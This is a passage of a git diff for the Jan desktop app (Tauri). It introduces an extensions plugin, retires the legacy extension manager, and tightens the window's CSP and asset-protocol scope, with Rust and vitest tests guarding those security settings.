@@+{+ "compilerOptions": {+ "target": "es2021",+ "module": "esnext",+ "moduleResolution": "bundler",+ "skipLibCheck": true,+ "strict": true,+ "noUnusedLocals": true,+ "noImplicitAny": true,+ "noEmit": true+ },+ "include": ["guest-js/*.ts"],+ "exclude": ["dist-js", "node_modules"]+}diff --git a/src-tauri/plugins/tauri-plugin-hardware/guest-js/index.ts b/src-tauri/plugins/tauri-plugin-hardware/guest-js/index.tsindex 6bb22f5e1..e7f7d983a 100644--- a/src-tauri/plugins/tauri-plugin-hardware/guest-js/index.ts+++ b/src-tauri/plugins/tauri-plugin-hardware/guest-js/index.ts@@ -8,14 +8,26 @@ export interface CpuStaticInfo {extensions: string[];}+export interface NvidiaInfo {+ index: number;+ compute_capability: string;+}++export interface VulkanInfo {+ index: number;+ device_type: string;+ api_version: string;+ device_id: number;+}+export interface GpuInfo {name: string;total_memory: number;vendor: string;uuid: string;driver_version: string;- nvidia_info?: any;- vulkan_info?: any;+ nvidia_info: NvidiaInfo | null;+ vulkan_info: VulkanInfo | null;}export interface SystemInfo {@@ -47,3 +59,8 @@ export async function getSystemInfo(): Promise<SystemInfo> {export async function getSystemUsage(): Promise<SystemUsage> {return await invoke('plugin:hardware|get_system_usage');}++/** Drops the cached detection so the next getSystemInfo() probes the GPUs again. */+export async function refreshSystemInfo(): Promise<void> {+ await invoke('plugin:hardware|refresh_system_info');+}diff --git a/src-tauri/plugins/yarn.lock b/src-tauri/plugins/yarn.lockindex 866157e8f..e17ffd4b2 100644--- a/src-tauri/plugins/yarn.lock+++ b/src-tauri/plugins/yarn.lock@@ -40,6 +40,18 @@ __metadata:languageName: unknownlinkType: soft+"@janhq/tauri-plugin-extensions-api@workspace:tauri-plugin-extensions":+ version: 0.0.0-use.local+ resolution: "@janhq/tauri-plugin-extensions-api@workspace:tauri-plugin-extensions"+ dependencies:+ "@rollup/plugin-typescript": "npm:^12.0.0"+ "@tauri-apps/api": "npm:>=2.0.0-beta.6"+ rollup: "npm:^4.9.6"+ tslib: "npm:^2.6.2"+ typescript: "npm:^5.3.3"+ languageName: unknown+ linkType: soft+"@janhq/tauri-plugin-hardware-api@workspace:tauri-plugin-hardware":version: 0.0.0-use.localresolution: "@janhq/tauri-plugin-hardware-api@workspace:tauri-plugin-hardware"diff --git a/src-tauri/src/core/app/paths.rs b/src-tauri/src/core/app/paths.rsindex 2d995fa9e..62ef0c8cc 100644--- a/src-tauri/src/core/app/paths.rs+++ b/src-tauri/src/core/app/paths.rs@@ -116,6 +116,16 @@ pub fn vector_db_dir() -> PathBuf {tauri_plugin_vector_db::db::base_dir_in(&root)}+/// The extensions plugin's root, `<jan data folder>/extensions`.+///+/// Resolved from the data folder the app is configured with, which needs an+/// `AppHandle`, so the plugin calls this from its setup. `extensions` is in+/// `JAN_DATA_DIRS_COMMON`: a factory reset removes installed extensions.+#[cfg(feature = "extensions")]+pub fn extensions_dir<R: Runtime>(app: &AppHandle<R>) -> PathBuf {+ super::commands::get_jan_data_folder_path(app.clone()).join("extensions")+}+#[cfg(test)]mod tests {use super::*;diff --git a/src-tauri/src/core/filesystem/asset_scope.rs b/src-tauri/src/core/filesystem/asset_scope.rsnew file mode 100644index 000000000..5a43249bd--- /dev/null+++ b/src-tauri/src/core/filesystem/asset_scope.rs@@ -0,0 +1,113 @@+//! Runtime grants for the asset protocol.+//!+//! `tauri.conf.json` allows nothing statically: a `**/*` scope let any script+//! in the window read every file on disk, the data folder's settings and keys+//! included. The window only streams three kinds of file through+//! `convertFileSrc`, and each is granted here when it comes into play:+//!+//! - the Cowork session sandboxes, at startup ([`allow_cowork_sandboxes`]);+//! - a file the user picked in the open dialog ([`allow_picked_file`]);+//! - a Cowork session's attached folder ([`asset_scope_allow_folder`]), which+//! is user-chosen and can live anywhere, so it cannot be listed up front.++use std::path::Path;++use tauri::{AppHandle, Manager, Runtime};+use tauri_plugin_agent_tools::workspace;++use crate::core::app::commands::get_jan_data_folder_path;++/// Grant `<jan_data_folder>/agent-workspace/sessions`, where every Cowork+/// session writes the artifacts its cards and preview pane show.+pub fn allow_cowork_sandboxes<R: Runtime>(app: &AppHandle<R>) -> tauri::Result<()> {+ let sessions = workspace::sessions_dir(&get_jan_data_folder_path(app.clone()));+ app.asset_protocol_scope().allow_directory(sessions, true)+}++/// Grant one file the user just picked, so the renderer can `fetch` it+/// through the asset protocol (the chat image, audio and video pickers).+pub fn allow_picked_file<R: Runtime>(app: &AppHandle<R>, path: &Path) {+ if let Err(e) = app.asset_protocol_scope().allow_file(path) {+ log::warn!("asset scope: could not allow {}: {e}", path.display());+ }+}++/// Grant a Cowork session's attached folder. Validated the way the agent's+/// read root is, so it can never be the filesystem root or contain the Jan+/// data folder (and with it `settings.json` and the provider keys).+#[tauri::command]+pub fn asset_scope_allow_folder<R: Runtime>(+ app: AppHandle<R>,+ folder: String,+) -> Result<(), String> {+ let data_folder = get_jan_data_folder_path(app.clone());+ let sessions = workspace::sessions_dir(&data_folder);+ let canonical =+ workspace::validate_read_root(Path::new(&folder), &sessions, Some(&data_folder))?;+ app.asset_protocol_scope()+ .allow_directory(canonical, true)+ .map_err(|e| e.to_string())+}++#[cfg(test)]+mod tests {+ use super::*;+ use tauri::test::mock_app;++ #[test]+ fn nothing_is_served_until_granted() {+ let app = mock_app();+ let dir = tempfile::tempdir().unwrap();+ let file = dir.path().join("a.png");+ std::fs::write(&file, b"x").unwrap();+ assert!(!app.asset_protocol_scope().is_allowed(&file));+ }++ #[test]+ fn an_attached_folder_is_served_recursively() {+ let app = mock_app();+ let dir = tempfile::tempdir().unwrap();+ let nested = dir.path().join("out").join("chart.png");+ std::fs::create_dir_all(nested.parent().unwrap()).unwrap();+ std::fs::write(&nested, b"x").unwrap();+ let folder = dir.path().to_string_lossy().into_owned();+ asset_scope_allow_folder(app.handle().clone(), folder).unwrap();+ assert!(app.asset_protocol_scope().is_allowed(&nested));+ }++ #[test]+ fn a_folder_containing_the_data_folder_is_refused() {+ let app = mock_app();+ let data = get_jan_data_folder_path(app.handle().clone());+ let parent = data.parent().unwrap().to_string_lossy().into_owned();+ assert!(asset_scope_allow_folder(app.handle().clone(), parent).is_err());+ assert!(!app.asset_protocol_scope().is_allowed(&data));+ }++ #[test]+ fn the_sandboxes_are_served_but_not_the_rest_of_the_data_folder() {+ let app = mock_app();+ let data = get_jan_data_folder_path(app.handle().clone());+ let artifact = workspace::sessions_dir(&data).join("s1").join("a.png");+ std::fs::create_dir_all(artifact.parent().unwrap()).unwrap();+ std::fs::write(&artifact, b"x").unwrap();+ let settings = data.join("settings.json");+ std::fs::write(&settings, b"{}").unwrap();+ allow_cowork_sandboxes(app.handle()).unwrap();+ assert!(app.asset_protocol_scope().is_allowed(&artifact));+ assert!(!app.asset_protocol_scope().is_allowed(&settings));+ }++ #[test]+ fn a_picked_file_is_served_but_not_its_siblings() {+ let app = mock_app();+ let dir = tempfile::tempdir().unwrap();+ let picked = dir.path().join("photo.png");+ let sibling = dir.path().join("secret.txt");+ std::fs::write(&picked, b"x").unwrap();+ std::fs::write(&sibling, b"x").unwrap();+ allow_picked_file(app.handle(), &picked);+ assert!(app.asset_protocol_scope().is_allowed(&picked));+ assert!(!app.asset_protocol_scope().is_allowed(&sibling));+ }+}diff --git a/src-tauri/src/core/filesystem/commands.rs b/src-tauri/src/core/filesystem/commands.rsindex 749720d5c..eaac75b2a 100644--- a/src-tauri/src/core/filesystem/commands.rs+++ b/src-tauri/src/core/filesystem/commands.rs@@ -1,5 +1,6 @@// WARNING: These APIs will be deprecated soon due to removing FS API access from frontend.// It's added to ensure the legacy implementation from frontend still functions before removal.+use super::asset_scope::allow_picked_file;use super::grants::{record_picks, DENIED_PREFIX};use super::helpers::{resolve_app_path_within_jan_data_folder, resolve_app_read_path, resolve_path,@@ -269,7 +270,9 @@ pub(crate) fn unpack_archive(Ok(())}-// rfd native file dialog+// rfd native file dialog. Picked files (not folders) are granted to the asset+// protocol, whose static scope is empty: the chat pickers read them back+// through `convertFileSrc`.#[tauri::command]pub async fn open_dialog<R: Runtime>(app_handle: tauri::AppHandle<R>,@@ -308,7 +311,10 @@ pub async fn open_dialog<R: Runtime>(record_picks(&app_handle, &picked);let paths: Vec<String> = picked.iter()- .map(|p| p.to_string_lossy().to_string())+ .map(|p| {+ allow_picked_file(&app_handle, p);+ p.to_string_lossy().to_string()+ }).collect();serde_json::to_value(paths).unwrap()}));@@ -319,6 +325,7 @@ pub async fn open_dialog<R: Runtime>(let result = dialog.pick_file().await;Ok(result.map(|file| {record_picks(&app_handle, &[file.path().to_path_buf()]);+ allow_picked_file(&app_handle, file.path());serde_json::Value::String(file.path().to_string_lossy().to_string())}))}diff --git a/src-tauri/src/core/filesystem/mod.rs b/src-tauri/src/core/filesystem/mod.rsindex 2dd1c2c41..301621fc7 100644--- a/src-tauri/src/core/filesystem/mod.rs+++ b/src-tauri/src/core/filesystem/mod.rs@@ -1,3 +1,4 @@+pub mod asset_scope;pub mod commands;pub mod grants;pub mod helpers;diff --git a/src-tauri/src/core/server/commands.rs b/src-tauri/src/core/server/commands.rsindex d7f3bb05f..479ab560e 100644--- a/src-tauri/src/core/server/commands.rs+++ b/src-tauri/src/core/server/commands.rs@@ -75,6 +75,10 @@ pub async fn start_server<R: Runtime>(.await.map_err(|e| e.to_string())?;+ // No extension request may reach this port on a local host.+ #[cfg(feature = "extensions")]+ tauri_plugin_extensions::set_local_api_port(&app_handle, Some(actual_port));+#[cfg(feature = "desktop")]crate::core::setup::show_tray(&app_handle);@@ -92,6 +96,9 @@ pub async fn stop_server<R: Runtime>(.await.map_err(|e| e.to_string())?;+ #[cfg(feature = "extensions")]+ tauri_plugin_extensions::set_local_api_port(&app_handle, None);+#[cfg(feature = "desktop")]crate::core::setup::remove_tray(&app_handle);#[cfg(not(feature = "desktop"))]diff --git a/src-tauri/src/lib.rs b/src-tauri/src/lib.rsindex 50c35f6b9..207c34d6e 100644--- a/src-tauri/src/lib.rs+++ b/src-tauri/src/lib.rs@@ -52,6 +52,7 @@ macro_rules! invoke_commands_with_extras {core::filesystem::commands::decompress,core::filesystem::commands::open_dialog,core::filesystem::commands::save_dialog,+ core::filesystem::asset_scope::asset_scope_allow_folder,// App configuration commandscore::app::commands::get_app_configurations,core::app::commands::get_user_home_path,@@ -319,6 +320,13 @@ pub fn run() {app_builder = app_builder.plugin(tauri_plugin_hardware::init());}+ #[cfg(feature = "extensions")]+ {+ app_builder = app_builder.plugin(tauri_plugin_extensions::init(+ crate::core::app::paths::extensions_dir,+ ));+ }+// Desktop: include updater commands#[cfg(not(any(target_os = "android", target_os = "ios")))]let app_builder = app_builder.invoke_handler(invoke_commands_with_extras![@@ -431,6 +439,10 @@ pub fn run() {});}+ if let Err(e) = core::filesystem::asset_scope::allow_cowork_sandboxes(app.handle()) {+ log::error!("Failed to grant the Cowork sandboxes to the asset protocol: {e}");+ }+// Start migrationlet mut store_path = get_jan_data_folder_path(app.handle().clone());store_path.push("store.json");diff --git a/src-tauri/tauri.bundle.windows.nsis.template b/src-tauri/tauri.bundle.windows.nsis.templateindex d29466e98..315922271 100644--- a/src-tauri/tauri.bundle.windows.nsis.template+++ b/src-tauri/tauri.bundle.windows.nsis.template@@ -917,13 +917,13 @@ Section InstallFile "${MAINBINARYSRCPATH}"; Copy resources+ ; Built-in extensions are part of the app now; drop the folder older+ ; installers unpacked their bundles into, so an upgrade does not leave it.+ RMDir /r "$INSTDIR\resources\pre-install"CreateDirectory "$INSTDIR\resources"- CreateDirectory "$INSTDIR\resources\pre-install"CreateDirectory "$INSTDIR\resources\bin"SetOutPath $INSTDIRFile /a "/oname=LICENSE" "jan_workspace\src-tauri\resources\LICENSE"- SetOutPath "$INSTDIR\resources\pre-install"- File /nonfatal /a /r "jan_workspace\src-tauri\resources\pre-install\"SetOutPath "$INSTDIR\resources\bin"; The engine. This block is a hand-maintained snapshot of; tauri.windows.conf.json's `bundle.resources`, which the NSIS bundler does@@ -1066,14 +1066,6 @@ Section Uninstall; Delete LICENSE fileDelete "$INSTDIR\LICENSE"- ; Delete resources- Delete "$INSTDIR\resources\pre-install\janhq-assistant-extension-1.0.2.tgz"- Delete "$INSTDIR\resources\pre-install\janhq-conversational-extension-1.0.0.tgz"- Delete "$INSTDIR\resources\pre-install\janhq-engine-management-extension-1.0.3.tgz"- Delete "$INSTDIR\resources\pre-install\janhq-hardware-management-extension-1.0.0.tgz"- Delete "$INSTDIR\resources\pre-install\janhq-inference-cortex-extension-1.0.25.tgz"- Delete "$INSTDIR\resources\pre-install\janhq-model-extension-1.0.36.tgz"-; Delete external binariesDelete "$INSTDIR\bun.exe"Delete "$INSTDIR\bun.exe.old"@@ -1088,7 +1080,6 @@ Section Uninstall; Delete uninstallerDelete "$INSTDIR\uninstall.exe"- RMDir /REBOOTOK "$INSTDIR\resources\pre-install"RMDir /r /REBOOTOK "$INSTDIR\resources"RMDir /r "$INSTDIR"diff --git a/src-tauri/tauri.conf.json b/src-tauri/tauri.conf.jsonindex 617c2fff9..45fd846c8 100644--- a/src-tauri/tauri.conf.json+++ b/src-tauri/tauri.conf.json@@ -15,6 +15,7 @@"security": {"capabilities": ["default",+ "extensions","log-app-window","logs-window","system-monitor-window",@@ -30,14 +31,15 @@"media-src": "'self' asset: http://asset.localhost blob: data: https:","frame-src": "'self' preview: http://preview.localhost","style-src": "'unsafe-inline' 'self' https://fonts.googleapis.com",- "script-src": "'self' 'unsafe-eval' asset: $APPDATA/**.* http://asset.localhost https://eu-assets.i.posthog.com https://posthog.com"+ "script-src": "'self' 'wasm-unsafe-eval' https://eu-assets.i.posthog.com https://posthog.com",+ "worker-src": "'self' blob:"},"dangerousDisableAssetCspModification": ["style-src"],"assetProtocol": {"enable": true,"scope": {"requireLiteralLeadingDot": false,- "allow": ["**/*"]+ "allow": []}}}diff --git a/vitest.config.ts b/vitest.config.tsindex 40a601ff6..c5d1c4617 100644--- a/vitest.config.ts+++ b/vitest.config.ts@@ -9,9 +9,13 @@ export default defineConfig({// Web-app package - use its own vitest config'./web-app',+ // Workspace packages - each ships its own vitest config+ './packages/extension-api',+ './packages/extension-runtime',+ './extensions-samples/hello-provider',+// Extensions - each ships its own vitest config'./extensions/assistant-extension',- './extensions/conversational-extension','./extensions/download-extension','./extensions/llamacpp-extension',// mlx depends on @janhq/tauri-plugin-mlx-api, which only resolves on@@ -19,6 +23,16 @@ export default defineConfig({...(process.platform === 'darwin' ? ['./extensions/mlx-extension'] : []),'./extensions/rag-extension','./extensions/vector-db-extension',+ // Repo-wide guards over every extension. Inline rather than inside one+ // extension so it runs on every OS, including where mlx is skipped.+ {+ test: {+ name: '@janhq/extensions',+ root: './extensions',+ include: ['*.test.ts'],+ environment: 'node',+ },+ },],coverage: {provider: 'v8',diff --git a/web-app/package.json b/web-app/package.jsonindex 4466eae78..1727b3516 100644--- a/web-app/package.json+++ b/web-app/package.json@@ -23,8 +23,12 @@"@dnd-kit/modifiers": "9.0.0","@dnd-kit/sortable": "10.0.0","@janhq/core": "workspace:*",+ "@janhq/extension-api": "workspace:*",+ "@janhq/extension-runtime": "workspace:*","@janhq/interfaces": "0.0.2","@janhq/tauri-plugin-agent-tools-api": "link:../src-tauri/plugins/tauri-plugin-agent-tools",+ "@janhq/tauri-plugin-extensions-api": "link:../src-tauri/plugins/tauri-plugin-extensions",+ "@janhq/tauri-plugin-hardware-api": "link:../src-tauri/plugins/tauri-plugin-hardware","@janhq/tauri-plugin-llamacpp-api": "link:../src-tauri/plugins/tauri-plugin-llamacpp","@janhq/tauri-plugin-websearch-api": "link:../src-tauri/plugins/tauri-plugin-websearch","@radix-ui/react-accordion": "1.2.11",diff --git a/web-app/src/__tests__/capabilities.test.ts b/web-app/src/__tests__/capabilities.test.tsnew file mode 100644index 000000000..58a7ec33e--- /dev/null+++ b/web-app/src/__tests__/capabilities.test.ts@@ -0,0 +1,88 @@+/**+ * Guards which Tauri capability may reach the extensions plugin+ * (janhq/jan-internal#470).+ *+ * The plugin installs and runs third-party code and is built only with the+ * `desktop` cargo feature, so `extensions:` permissions live in their own+ * capability, extensions.json, and nowhere else. That capability is limited+ * to the main window and to desktop platforms, and has no `remote` section:+ * only the app's own content may call the plugin, never a page loaded from+ * an http origin. Granting the permissions anywhere else would either reach+ * another window or a remote origin, or name a plugin that a mobile build+ * does not contain, which fails tauri-build's capability check.+ *+ * Tauri ignores capability files the config does not name, so+ * extensions.json is listed in tauri.conf.json. desktop.json is not: it+ * carries a `remote` section and grants beyond default.json, and activating+ * it would silently widen what the main window may do.+ */+import { describe, it, expect } from 'vitest'+import { readdirSync, readFileSync } from 'node:fs'+import { join } from 'node:path'++const TAURI_DIR = join(__dirname, '..', '..', '..', 'src-tauri')+const CAPABILITIES_DIR = join(TAURI_DIR, 'capabilities')++type Permission = string | { identifier: string; [key: string]: unknown }++interface Capability {+ identifier: string+ windows?: string[]+ platforms?: string[]+ remote?: unknown+ permissions: Permission[]+}++const read = <T,>(path: string): T => JSON.parse(readFileSync(path, 'utf8')) as T++const capabilityFiles = readdirSync(CAPABILITIES_DIR).filter((f) =>+ f.endsWith('.json')+)++const identifierOf = (p: Permission) => (typeof p === 'string' ? p : p.identifier)++const activeIn = (file: string) =>+ read<{ app?: { security?: { capabilities?: string[] } } }>(+ join(TAURI_DIR, file)+ ).app?.security?.capabilities ?? []++describe('Tauri capabilities', () => {+ it('grants extensions: permissions in extensions.json only', () => {+ const holders = capabilityFiles.filter((file) =>+ read<Capability>(join(CAPABILITIES_DIR, file)).permissions.some((p) =>+ identifierOf(p).startsWith('extensions:')+ )+ )+ expect(holders).toEqual(['extensions.json'])+ })++ it('keeps extensions.json to the main window, local content and desktop', () => {+ const extensions = read<Capability>(+ join(CAPABILITIES_DIR, 'extensions.json')+ )+ expect(extensions.identifier).toBe('extensions')+ expect(extensions.windows).toEqual(['main'])+ expect(extensions.remote).toBeUndefined()+ expect([...(extensions.platforms ?? [])].sort()).toEqual([+ 'linux',+ 'macOS',+ 'windows',+ ])+ expect(extensions.permissions).toEqual(['extensions:default'])+ })++ it('activates extensions.json in the desktop config and not on mobile', () => {+ expect(activeIn('tauri.conf.json')).toContain('extensions')+ for (const mobile of ['tauri.android.conf.json', 'tauri.ios.conf.json'])+ expect(activeIn(mobile)).not.toContain('extensions')+ })++ it('leaves desktop.json inactive', () => {+ for (const file of [+ 'tauri.conf.json',+ 'tauri.android.conf.json',+ 'tauri.ios.conf.json',+ ])+ expect(activeIn(file)).not.toContain('desktop')+ })+})diff --git a/web-app/src/__tests__/no-legacy-extensions.test.ts b/web-app/src/__tests__/no-legacy-extensions.test.tsnew file mode 100644index 000000000..0541f2719--- /dev/null+++ b/web-app/src/__tests__/no-legacy-extensions.test.ts@@ -0,0 +1,65 @@+/**+ * Guards the removal of the legacy extension system (janhq/jan-internal#479).+ *+ * Every built-in now runs on the ExtensionHost through `activate(ctx)`, so+ * the old base class, its manager and its type enum must not come back in+ * the app, the core SDK or any built-in extension. The names are assembled+ * from fragments so this file does not match its own scan or a repo grep.+ */+import { describe, it, expect } from 'vitest'+import { readdirSync, readFileSync, statSync } from 'node:fs'+import { join, relative } from 'node:path'++const REPO = join(__dirname, '..', '..', '..')+const EXT = 'Extension'+const LEGACY = new RegExp(+ [+ `Base${EXT}`,+ `${EXT}Manager`,+ `${EXT}TypeEnum`,+ `${EXT.toLowerCase()}Manager`,+ ].join('|')+)+const SOURCE = /\.(ts|tsx|js|mjs|cjs)$/++function sourceFiles(dir: string): string[] {+ return readdirSync(dir, { withFileTypes: true }).flatMap((entry) => {+ if (entry.name === 'node_modules' || entry.name === 'dist') return []+ const path = join(dir, entry.name)+ if (entry.isDirectory()) return sourceFiles(path)+ return SOURCE.test(entry.name) ? [path] : []+ })+}++function scanRoots(): string[] {+ const extensions = join(REPO, 'extensions')+ const extensionSources = readdirSync(extensions)+ .map((name) => join(extensions, name, 'src'))+ .filter((path) => {+ try {+ return statSync(path).isDirectory()+ } catch {+ return false+ }+ })+ return [join(REPO, 'web-app', 'src'), join(REPO, 'core', 'src'), ...extensionSources]+}++describe('legacy extension system', () => {+ it('scans every built-in extension source tree', () => {+ expect(scanRoots().length).toBeGreaterThan(2)+ })++ it('is not referenced from web-app, core or extensions', () => {+ const offenders = scanRoots()+ .flatMap(sourceFiles)+ .flatMap((file) =>+ readFileSync(file, 'utf8')+ .split('\n')+ .map((line, index) => ({ line, index }))+ .filter(({ line }) => LEGACY.test(line))+ .map(({ index }) => `${relative(REPO, file)}:${index + 1}`)+ )+ expect(offenders).toEqual([])+ })+})diff --git a/web-app/src/__tests__/tauri-csp.test.ts b/web-app/src/__tests__/tauri-csp.test.tsnew file mode 100644index 000000000..6b3f8bc19--- /dev/null+++ b/web-app/src/__tests__/tauri-csp.test.ts@@ -0,0 +1,122 @@+/**+ * Guards the main window's CSP and asset-protocol scope (janhq/jan-internal#458).+ *+ * tauri.conf.json is JSON, so the rationale for each source lives here:+ *+ * - script-src has no 'unsafe-eval'. Nothing in the production bundle needs it:+ * lodash's `Function('return this')` is short-circuited by `self`, and zod v4's+ * `new Function` fast path is turned off by `jitless` (lib/zodCsp.ts) so it never+ * probes. shiki's oniguruma engine compiles a wasm module, which is what+ * 'wasm-unsafe-eval' allows and all it allows.+ * - script-src has no asset:, http://asset.localhost or $APPDATA. Built-in+ * extensions are bundled into the app since dd021a737; nothing loads a script+ * from disk, and the data folder is where runtime extensions would be unpacked.+ * The posthog hosts stay for the analytics opt-in.+ * - worker-src is exactly 'self' blob:. An extension runs in a classic worker+ * built from one blob: script (runtime prelude plus its bundle); the worker+ * inherits this policy, so it can neither eval nor import more code. blob:+ * is never added to script-src, which would let any page script load one.+ * The window's connect-src must stay open (https:, loopback), so the worker+ * is created from a hidden frame that adds its own meta CSP+ * (`default-src 'none'`, WORKER_CSP in lib/extensions/worker-runtime.ts):+ * a blob: worker inherits its creator's policy, and a meta CSP only ever+ * narrows the inherited one. frame-src needs nothing for it: the frame is+ * about:blank, which inherits the window's origin and policy.+ * The prelude's SES lockdown needs no 'unsafe-eval' either: it runs with+ * evalTaming 'no-eval', only probes eval/Function (and tolerates the CSP+ * refusing them), and makes both throw in the worker afterwards.+ * - assetProtocol.scope is not `**` / `**`-slash-`*`. The static list is empty and+ * the backend grants at runtime only what the window streams from disk: the+ * Cowork session sandboxes at startup, files the user picks in the open+ * dialog, and a Cowork session's attached folder (validated like the agent's+ * read root, so it can never contain the Jan data folder).+ */+import { describe, it, expect } from 'vitest'+import { readdirSync, readFileSync } from 'node:fs'+import { join } from 'node:path'++const TAURI_DIR = join(__dirname, '..', '..', '..', 'src-tauri')++interface AssetScope {+ allow?: string[]+}++interface Security {+ csp?: Record<string, string | string[]> | string | null+ assetProtocol?: { enable?: boolean; scope?: string[] | AssetScope }+}++interface TauriConf {+ app?: { security?: Security }+}++const confFiles = readdirSync(TAURI_DIR).filter((f) =>+ /^tauri(\..+)?\.conf\.json$/.test(f)+)++function load(file: string): Security | undefined {+ const conf = JSON.parse(+ readFileSync(join(TAURI_DIR, file), 'utf8')+ ) as TauriConf+ return conf.app?.security+}++function directive(csp: Security['csp'], name: string): string {+ if (!csp) return ''+ if (typeof csp === 'string') {+ const found = csp+ .split(';')+ .map((d) => d.trim())+ .find((d) => d.startsWith(`${name} `))+ return found ? found.slice(name.length + 1) : ''+ }+ const value = csp[name] ?? ''+ return Array.isArray(value) ? value.join(' ') : value+}++const scriptSrc = (csp: Security['csp']) => directive(csp, 'script-src')++function scopeAllow(security: Security): string[] {+ const scope = security.assetProtocol?.scope+ if (!scope) return []+ return Array.isArray(scope) ? scope : (scope.allow ?? [])+}++describe('tauri window CSP and asset scope', () => {+ it('finds the main config', () => {+ expect(confFiles).toContain('tauri.conf.json')+ })++ it('the main config declares a script-src', () => {+ expect(scriptSrc(load('tauri.conf.json')?.csp)).not.toBe('')+ })++ it("lets the main window start extension workers from blob: only", () => {+ const sources = directive(load('tauri.conf.json')?.csp, 'worker-src')+ .split(/\s+/)+ .filter(Boolean)+ .sort()+ expect(sources).toEqual(["'self'", 'blob:'])+ })++ describe.each(confFiles)('%s', (file) => {+ const security = load(file)++ it('script-src allows no eval and no scripts from disk', () => {+ const sources = scriptSrc(security?.csp).split(/\s+/)+ expect(sources).not.toContain("'unsafe-eval'")+ expect(sources).not.toContain('asset:')+ expect(sources).not.toContain('http://asset.localhost')+ expect(sources.some((s) => s.includes('$APPDATA'))).toBe(false)+ expect(sources).not.toContain('blob:')+ expect(sources).not.toContain('data:')+ })++ it('the asset protocol cannot read the whole disk', () => {+ if (!security) return+ const allow = scopeAllow(security)+ expect(allow).not.toContain('**/*')+ expect(allow).not.toContain('**')+ })+ })+})diff --git a/web-app/src/components/left-sidebar/index.tsx b/web-app/src/components/left-sidebar/index.tsxindex 79ebaf11c..bf07af4d7 100644--- a/web-app/src/components/left-sidebar/index.tsx+++ b/web-app/src/components/left-sidebar/index.tsx@@ -1,5 +1,6 @@import { useState } from 'react'import { DownloadManagement } from '@/containers/DownloadManegement'+import { StatusItems } from '@/containers/extensions/StatusItems'import { NavChats } from './NavChats'import { NavCowork } from './NavCowork'import { NavMain } from './NavMain'@@ -55,6 +56,7 @@ export function LeftSidebar() {</>)}</SidebarContent>+ <StatusItems /><SidebarRail /></Sidebar></div>diff --git a/web-app/src/constants/routes.ts b/web-app/src/constants/routes.tsindex 97487db4b..a99e9a231 100644--- a/web-app/src/constants/routes.ts+++ b/web-app/src/constants/routes.ts@@ -16,6 +16,7 @@ export const route = {privacy: '/settings/privacy',shortcuts: '/settings/shortcuts',extensions: '/settings/extensions',+ extension: '/settings/extensions/$extensionId',local_api_server: '/settings/local-api-server',mcp_servers: '/settings/mcp-servers',https_proxy: '/settings/https-proxy',diff --git a/web-app/src/containers/ChatInput.tsx b/web-app/src/containers/ChatInput.tsxindex a8f9c3df6..b5f9b1368 100644--- a/web-app/src/containers/ChatInput.tsx+++ b/web-app/src/containers/ChatInput.tsx@@ -78,14 +78,8 @@ import { TokenCounter } from '@/components/TokenCounter'import type { TokenUsageSource } from '@/hooks/useTokensCount'import { useMessages } from '@/hooks/useMessages'import { useShallow } from 'zustand/react/shallow'-import { McpExtensionToolLoader } from './McpExtensionToolLoader'-import {- ExtensionTypeEnum,- MCPExtension,- fs,- VectorDBExtension,-} from '@janhq/core'-import { ExtensionManager } from '@/lib/extension'+import { ServiceKeys, fs } from '@janhq/core'+import { getExtensionHost } from '@/lib/extensions/host'import { useAttachments } from '@/hooks/useAttachments'import { useImageAttachmentConfig } from '@/hooks/useImageAttachmentConfig'import { toast } from 'sonner'@@ -127,6 +121,7 @@ import {PopoverTrigger,} from '@/components/ui/popover'import { useElementWidth } from '@/hooks/useElementWidth'+import { ContributedMenuItems } from '@/containers/extensions/ContributedMenuItems'type ChatInputProps = {className?: string@@ -627,11 +622,6 @@ const ChatInput = memo(function ChatInput({const hasActiveMCPServers =tools.filter((tool) => tool.server !== 'Jan Browser MCP').length > 0- // Get MCP extension and its custom component- const extensionManager = ExtensionManager.getInstance()- const mcpExtension = extensionManager.get<MCPExtension>(ExtensionTypeEnum.MCP)- const MCPToolComponent = mcpExtension?.getToolComponent?.()-const handleSendMessage = async (prompt: string) => {if (!selectedModel) {setMessage('Please select a model to start chatting.')@@ -1204,16 +1194,9 @@ const ChatInput = memo(function ChatInput({if (attachmentToRemove?.id && currentThreadId) {try {if (attachmentToRemove.type === 'document') {- const vectorDBExtension = ExtensionManager.getInstance().get(- ExtensionTypeEnum.VectorDB- ) as VectorDBExtension | undefined-- if (vectorDBExtension?.deleteFile) {- await vectorDBExtension.deleteFile(- currentThreadId,- attachmentToRemove.id- )- }+ await getExtensionHost()+ .services.get(ServiceKeys.VectorDB)+ ?.deleteFile(currentThreadId, attachmentToRemove.id)}} catch (error) {console.error('Failed to delete attachment from backend:', error)@@ -2409,6 +2392,17 @@ const ChatInput = memo(function ChatInput({: 'Add documents or files'}</span></DropdownMenuItem>+ {/* Only chat threads: a scoped surface (Cowork) has no thread id. */}+ {!scopeKey && currentThreadId && (+ <ContributedMenuItems+ location="chatInput/actions"+ context={{+ location: 'chatInput/actions',+ threadId: currentThreadId,+ }}+ separator+ />+ )}</DropdownMenuContent></DropdownMenu>)}@@ -2500,19 +2494,7 @@ const ChatInput = memo(function ChatInput({)}{showToolControls && selectedModel?.capabilities?.includes('tools') &&- hasActiveMCPServers &&- (MCPToolComponent ? (- // Use custom MCP component- <McpExtensionToolLoader- tools={tools}- hasActiveMCPServers={hasActiveMCPServers}- selectedModelHasTools={- selectedModel?.capabilities?.includes('tools') ?? false- }- MCPToolComponent={MCPToolComponent}- />- ) : (- // Use default tools dropdown+ hasActiveMCPServers && (<Tooltipopen={tooltipShown === 'tools'}onOpenChange={(newValue) => newValue ? setTooltipShown('tools') : setTooltipShown(false)}@@ -2560,7 +2542,7 @@ const ChatInput = memo(function ChatInput({<p>{t('tools')}</p></TooltipContent></Tooltip>- ))}+ )}{!effectiveAgentMode && selectedModel?.capabilities?.includes('tools') && (<Tooltip>diff --git a/web-app/src/containers/DownloadManegement.tsx b/web-app/src/containers/DownloadManegement.tsxindex d3063ef08..81f9d63b2 100644--- a/web-app/src/containers/DownloadManegement.tsx+++ b/web-app/src/containers/DownloadManegement.tsx@@ -7,7 +7,7 @@ import { Progress } from '@/components/ui/progress'import { useDownloadStore } from '@/hooks/useDownloadStore'import { useAppUpdateDownload } from '@/stores/app-update-download-store'import { useServiceHub } from '@/hooks/useServiceHub'-import { events, AppEvent } from '@janhq/core'+import { events, AppEvent, ServiceKeys } from '@janhq/core'import { IconPlayerPause, IconPlayerPlay, IconX } from '@tabler/icons-react'import { useCallback, useEffect, useMemo, useState } from 'react'import { toast } from 